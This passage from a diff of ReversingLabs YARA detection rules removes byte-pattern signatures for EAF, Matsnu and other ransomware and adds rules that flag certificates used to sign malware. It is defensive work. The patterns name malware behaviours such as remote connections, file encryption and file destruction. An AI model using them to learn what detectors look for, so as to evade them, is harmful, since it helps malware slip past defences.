?? ?? ?? - ?? 64 A1 ?? ?? ?? ?? 50 53 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 - ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? - C7 45 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 - ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 85 C0 74 ?? BA ?? ?? - ?? ?? E9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? - 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 B9 ?? ?? ?? ?? 83 FE ?? 75 ?? BA ?? ?? ?? ?? E9 - ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? - FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? 6A ?? 66 89 85 ?? ?? ?? ?? FF 15 - ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 56 FF 15 ?? ?? ?? ?? 8B - 3D ?? ?? ?? ?? 85 C0 79 ?? FF D7 50 51 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 83 C4 ?? 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 8B 43 ?? - 83 C0 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? - ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? - ?? ?? ?? E8 ?? ?? ?? ?? 83 7B ?? ?? 8D 43 ?? FF 73 ?? 0F 43 43 ?? 8D 8D ?? ?? ?? ?? - 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 - } - $remote_server_connection_1_1 = { - E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? - ?? ?? ?? 8B 53 ?? 8D 4B ?? 83 FA ?? 0F 43 4B ?? 8D 41 ?? 89 85 ?? ?? ?? ?? 90 8A 01 - 41 84 C0 75 ?? 2B 8D ?? ?? ?? ?? 8D 43 ?? 6A ?? 83 FA ?? 51 0F 43 43 ?? 50 56 FF 15 - ?? ?? ?? ?? 85 C0 79 ?? FF D7 50 51 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 - C4 ?? 8B C8 E8 ?? ?? ?? ?? EB ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 - ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? - 83 F8 ?? 0F 85 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? BE ?? ?? ?? ?? 8B 43 ?? 83 F8 ?? 72 ?? 8B 4B ?? 40 3D ?? ?? ?? ?? 72 - ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 - ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B C6 8B 4D - ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D 8B E3 5B C3 - } - $encryption_loop_1_0 = { - 66 8B 01 66 3B 02 75 ?? 83 C1 ?? 83 C2 ?? 83 EE ?? 75 ?? C6 85 ?? ?? ?? ?? ?? E9 ?? - ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 8B 51 ?? 83 CA ?? - 8B C2 83 C8 ?? 83 79 ?? ?? 0F 45 C2 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 32 C0 0F 85 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 C7 45 ?? ?? ?? - ?? ?? 8D 8D ?? ?? ?? ?? 83 CB ?? 68 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? 8B D7 8B 9D ?? ?? ?? ?? 83 CB ?? 83 7F ?? ?? 89 9D ?? ?? ?? ?? 89 - 9D ?? ?? ?? ?? 72 ?? 8B 17 83 78 ?? ?? 8B C8 72 ?? 8B 08 8B 70 ?? 3B 77 ?? 75 ?? 85 - F6 0F 84 - } - $encryption_loop_1_1 = { - 66 8B 01 66 3B 02 75 ?? 83 C1 ?? 83 C2 ?? 83 EE ?? 75 ?? C6 85 ?? ?? ?? ?? ?? EB ?? - 32 C0 74 ?? C6 85 ?? ?? ?? ?? ?? EB ?? C6 85 ?? ?? ?? ?? ?? F6 C3 ?? 74 ?? 83 E3 ?? - 8D 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? F6 C3 ?? 74 ?? 83 E3 ?? 8D 8D ?? - ?? ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? F6 C3 ?? 74 ?? 83 E3 ?? 8D 8D ?? ?? ?? ?? - 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? F6 C3 ?? 74 ?? 83 E3 ?? 8D 8D ?? ?? ?? ?? 89 9D ?? - ?? ?? ?? E8 ?? ?? ?? ?? 32 C0 75 ?? 83 E3 ?? 8D 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 32 C0 C7 45 ?? ?? ?? ?? ?? 75 ?? 83 E3 ?? 8D 8D ?? ?? ?? ?? 89 9D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 51 FF B5 ?? ?? ?? ?? BA - ?? ?? ?? ?? C6 45 ?? ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 - ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 95 - } - $encryption_loop_1_2 = { - 57 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? - ?? ?? ?? C3 8B 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - 89 85 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 FF B5 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? - ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E - 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 51 FF B5 ?? ?? ?? ?? BA ?? ?? ?? ?? 51 - 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? - ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 - C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 69 0F ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? - ?? ?? BA ?? ?? ?? ?? 03 48 ?? 8D 85 ?? ?? ?? ?? 50 51 E8 ?? ?? ?? ?? 85 C0 74 ?? BA - ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 - } - $encryption_loop_1_3 = { - 69 37 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 03 70 ?? E8 ?? ?? ?? ?? 8B 95 ?? - ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 81 CB ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 78 ?? 8D - 4A ?? 89 08 8D 4A ?? 89 48 ?? 8D 4A ?? 89 48 ?? 8D 4A ?? 89 48 ?? 8D 4A ?? 89 48 ?? - B9 ?? ?? ?? ?? F3 A5 66 A5 C7 80 ?? ?? ?? ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? - ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? - ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - C6 45 ?? ?? 8B B5 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 56 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 - ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? ?? ?? ?? 83 C4 - ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B BD ?? - ?? ?? ?? 8B 8D ?? ?? ?? ?? FF 07 8B 07 89 41 ?? 69 17 ?? ?? ?? ?? 8B 41 ?? 80 A4 02 - ?? ?? ?? ?? ?? 8B 01 48 39 07 75 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 - E8 ?? ?? ?? ?? 83 C4 ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F - 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E8 - ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8A 11 8B - C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $remote_server_connection_1_0 and $remote_server_connection_1_1 and ( all of ( $encryption_loop_1_* ) ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "StackUp ApS" and pe.signatures [ i ] . serial == "04:00:c7:61:4f:86:d7:5f:e4:ee:3f:61:92:b6:fe:da" and 1626393601 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_EAF : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_E573D9C8B403C41Bd59Ffa0A8Efd4168 : INFO FILE { meta: - description = "Yara rule that detects EAF ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "6903030e-b1a1-5238-b377-ce8e4b18d3f3" - date = "2022-07-22" - modified = "2022-07-22" + id = "2e799dd9-d143-55a7-9d07-d5f289477b24" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.EAF.yara#L1-L89" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12158-L12176" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3d10c852f95e8aa9bcd3543b96650b98ac57bcd2aa2b374e0badb63b5a4c0396" + logic_hash = "425126b90fe2ab7c1ec7bf2fd5a91e4438a81992f20f99ed87ec62e7f20043cd" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "EAF" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 00 03 28 ?? ?? ?? ?? 0A 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 39 ?? ?? ?? ?? 00 7E ?? - ?? ?? ?? 0C 03 28 ?? ?? ?? ?? 0D 03 28 ?? ?? ?? ?? 13 ?? 1E 8D ?? ?? ?? ?? 25 16 11 ?? - A2 25 17 72 ?? ?? ?? ?? A2 25 18 7E ?? ?? ?? ?? A2 25 19 72 ?? ?? ?? ?? A2 25 1A 28 ?? - ?? ?? ?? A2 25 1B 72 ?? ?? ?? ?? A2 25 1C 09 A2 25 1D 72 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? - 13 ?? 02 03 11 ?? 08 28 ?? ?? ?? ?? 13 ?? 11 ?? 2D ?? 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? - 2B ?? 16 13 ?? 11 ?? 2C ?? 00 00 03 11 ?? 28 ?? ?? ?? ?? 00 00 DE ?? 26 00 00 DE ?? 00 - 00 00 DE ?? 26 00 00 DE ?? 2A - } - $encrypt_files_p2 = { - 00 03 19 73 ?? ?? ?? ?? 0A 00 04 18 73 ?? ?? ?? ?? 0B 00 06 16 6A 6F ?? ?? ?? ?? 00 28 - ?? ?? ?? ?? 0C 00 1F ?? 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0D 05 09 73 ?? - ?? ?? ?? 13 ?? 00 08 17 6F ?? ?? ?? ?? 00 08 18 6F ?? ?? ?? ?? 00 08 11 ?? 1F ?? 6F ?? - ?? ?? ?? 6F ?? ?? ?? ?? 00 08 11 ?? 1F ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 08 6F ?? - ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 00 20 ?? ?? ?? ?? 13 ?? 11 ?? 8D ?? ?? ?? ?? 13 ?? 16 - 13 ?? 00 06 11 ?? 16 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 20 ?? ?? ?? ?? FE 02 16 FE 01 13 - ?? 11 ?? 2C ?? 00 11 ?? 11 ?? 16 11 ?? 6F ?? ?? ?? ?? 00 00 2B ?? 11 ?? 20 ?? ?? ?? ?? - 32 ?? 11 ?? 20 ?? ?? ?? ?? FE 02 16 FE 01 2B ?? 16 13 ?? 11 ?? 2C ?? 00 11 ?? 11 ?? 16 - 11 ?? 6F ?? ?? ?? ?? 00 00 2B ?? 11 ?? 20 ?? ?? ?? ?? 32 ?? 11 ?? 20 ?? ?? ?? ?? FE 02 - 16 FE 01 2B ?? 16 13 ?? 11 ?? 2C ?? 00 11 ?? 11 ?? 16 11 ?? 6F ?? ?? ?? ?? 00 00 2B ?? - 00 07 11 ?? 16 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 11 ?? 58 13 ?? 00 11 ?? 16 FE 03 13 ?? - 11 ?? 3A ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 00 00 DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? - 00 DC 00 DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? 00 DC 00 DE ?? 08 2C ?? 08 6F ?? ?? ?? - ?? 00 DC 07 6F ?? ?? ?? ?? 00 00 DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? 00 DC 06 6F ?? ?? ?? - ?? 00 00 DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? 00 DC 03 28 ?? ?? ?? ?? 00 17 13 ?? DE ?? 26 - 00 16 13 ?? DE ?? 11 ?? 2A - } - $find_files_p1 = { - 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 16 0C 38 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0D 00 09 06 08 9A - 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 06 08 9A 28 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 09 FE 06 ?? - ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 09 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? - ?? ?? 2C ?? 11 ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 11 ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? - ?? 2B ?? 16 13 ?? 11 ?? 2C ?? 00 7E ?? ?? ?? ?? 06 08 9A 6F ?? ?? ?? ?? 00 00 00 08 17 - 58 0C 08 06 8E 69 FE 04 13 ?? 11 ?? 3A ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 16 - 13 ?? 2B ?? 00 07 11 ?? 9A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 07 11 ?? 9A 72 ?? ?? ?? - ?? 28 ?? ?? ?? ?? 2C ?? 07 11 ?? 9A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 07 11 ?? 9A 72 - ?? ?? ?? ?? 28 ?? ?? ?? ?? 2B ?? 16 13 ?? 11 ?? 2C ?? 00 07 11 ?? 9A 28 ?? ?? ?? ?? 00 - 00 00 11 ?? 17 58 13 ?? 11 ?? 07 8E 69 FE 04 13 ?? 11 ?? 2D ?? 00 DE ?? 26 00 00 DE ?? - 2A - } - $find_files_p2 = { - 00 28 ?? ?? ?? ?? 0A 16 0B 2B ?? 73 ?? ?? ?? ?? 0C 08 06 07 9A 7D ?? ?? ?? ?? 00 08 7B - ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 08 7B ?? ?? ?? ?? 6F ?? - ?? ?? ?? 2B ?? 16 0D 09 2C ?? 00 08 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 - ?? ?? ?? ?? 00 00 00 07 17 58 0B 07 06 8E 69 32 ?? 00 DE ?? 26 00 00 DE ?? 2A - } - $destroy_exe_file = { - 00 1F ?? 28 ?? ?? ?? ?? 0A 72 ?? ?? ?? ?? 0B 7E ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 0C 7E ?? - ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 08 72 ?? ?? ?? ?? 1B 8D ?? - ?? ?? ?? 25 16 72 ?? ?? ?? ?? A2 25 17 06 A2 25 18 72 ?? ?? ?? ?? A2 25 19 28 ?? ?? ?? - ?? A2 25 1A 72 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 08 6F ?? ?? ?? ?? 00 00 - DE ?? 26 00 00 DE ?? 2A - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( $destroy_exe_file ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\"VERONIKA 2\" OOO" and ( pe.signatures [ i ] . serial == "00:e5:73:d9:c8:b4:03:c4:1b:d5:9f:fa:0a:8e:fd:41:68" or pe.signatures [ i ] . serial == "e5:73:d9:c8:b4:03:c4:1b:d5:9f:fa:0a:8e:fd:41:68" ) and 1563148800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Matsnu : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_B06Bc166Fc765Dacd2F7448C8Cdd9205 : INFO FILE { meta: - description = "Yara rule that detects Matsnu ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "2f0bddd5-bd48-5d38-84f4-2dbccbe04a46" - date = "2020-06-26" - modified = "2020-07-15" + id = "4b27c958-58f1-5fbd-8a39-aedfe4dafe39" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Matsnu.yara#L1-L116" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12178-L12196" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "76ef1b4a292f27ccd904e80f0279a7a327f7399a21f2266ef3ea959e5339ffac" + logic_hash = "2c47166f02c7f94bb4f82296e3220ff7ca3c6c53566d855b2fe77cb842a5fb43" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Matsnu" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $remote_connection = { - 55 89 E5 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C6 45 ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5B 8D 83 ?? ?? ?? ?? 8B 00 6A ?? 50 - FF 93 ?? ?? ?? ?? 8D B3 ?? ?? ?? ?? 8B 36 8D 7D ?? 57 56 FF 93 ?? ?? ?? ?? 85 C0 74 - ?? 57 8D BB ?? ?? ?? ?? 89 07 5F EB ?? 8D B3 ?? ?? ?? ?? 8B 36 57 8D BB ?? ?? ?? ?? - 89 37 5F 68 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? EB ?? 8D BD ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A - ?? 57 FF 93 ?? ?? ?? ?? 8D B3 ?? ?? ?? ?? 8B 36 8D BD ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 - 57 FF 93 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 50 57 FF 93 ?? ?? ?? ?? 85 - C0 74 ?? C6 00 ?? 8D BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D B3 ?? ?? ?? ?? 8D 93 ?? ?? - ?? ?? FF 75 ?? 52 51 56 57 FF 93 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8D 4D ?? 51 57 E8 ?? - ?? ?? ?? 85 C0 74 ?? 89 45 ?? 8D 4D ?? 51 50 E8 ?? ?? ?? ?? 85 C0 75 ?? FF 75 ?? FF - 93 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 89 85 ?? ?? ?? ?? FF 75 ?? FF 93 ?? ?? ?? - ?? 8B 45 ?? 8B 75 ?? 89 06 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 83 BD ?? - ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - 68 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? 8D B3 ?? ?? ?? ?? 8B 36 8D 83 ?? ?? ?? ?? 50 56 FF - 93 ?? ?? ?? ?? 85 C0 74 ?? 40 57 8D BB ?? ?? ?? ?? 89 07 5F E9 ?? ?? ?? ?? 8D B3 ?? - ?? ?? ?? 8B 36 57 8D BB ?? ?? ?? ?? 89 37 5F 68 ?? ?? ?? ?? FF 93 ?? ?? ?? ?? E9 ?? - ?? ?? ?? 8D 83 ?? ?? ?? ?? 8B 00 50 FF 93 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 9D ?? ?? - ?? ?? C9 C2 - } - $crypto_file = { - 55 89 E5 83 EC ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? - C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C7 45 ?? ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 5D ?? E8 - ?? ?? ?? ?? 5B 8D 83 ?? ?? ?? ?? 8B 00 85 C0 74 ?? 89 45 ?? 8D 83 ?? ?? ?? ?? 8B 00 - 85 C0 74 ?? 8D 7D ?? 8D 75 ?? 8D 4D ?? 51 56 57 FF 75 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? - 89 45 ?? 83 7D ?? ?? 74 ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? EB ?? FF 75 ?? FF 75 ?? - FF 93 ?? ?? ?? ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? EB ?? C7 45 ?? ?? ?? ?? ?? 8B 45 - ?? 8B 5D ?? C9 C2 - } - $crypt_file = { - 55 89 E5 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? - 5B 8D BD ?? ?? ?? ?? FF 75 ?? 57 FF 93 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 8D B3 ?? ?? ?? - ?? 56 57 FF 93 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 57 FF 93 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 FF 93 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? - ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 51 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 30 FF 93 ?? - ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 8D 4D ?? 8D 85 ?? ?? ?? ?? 6A ?? - FF 31 50 FF 36 FF 93 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? 8D B5 ?? ?? ?? ?? 51 6A ?? FF 36 68 ?? ?? ?? ?? FF 30 FF 93 ?? ?? ?? ?? 85 - C0 0F 84 ?? ?? ?? ?? FF 75 ?? 6A ?? FF 93 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 89 45 - ?? 6A ?? FF 75 ?? FF 93 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF - 75 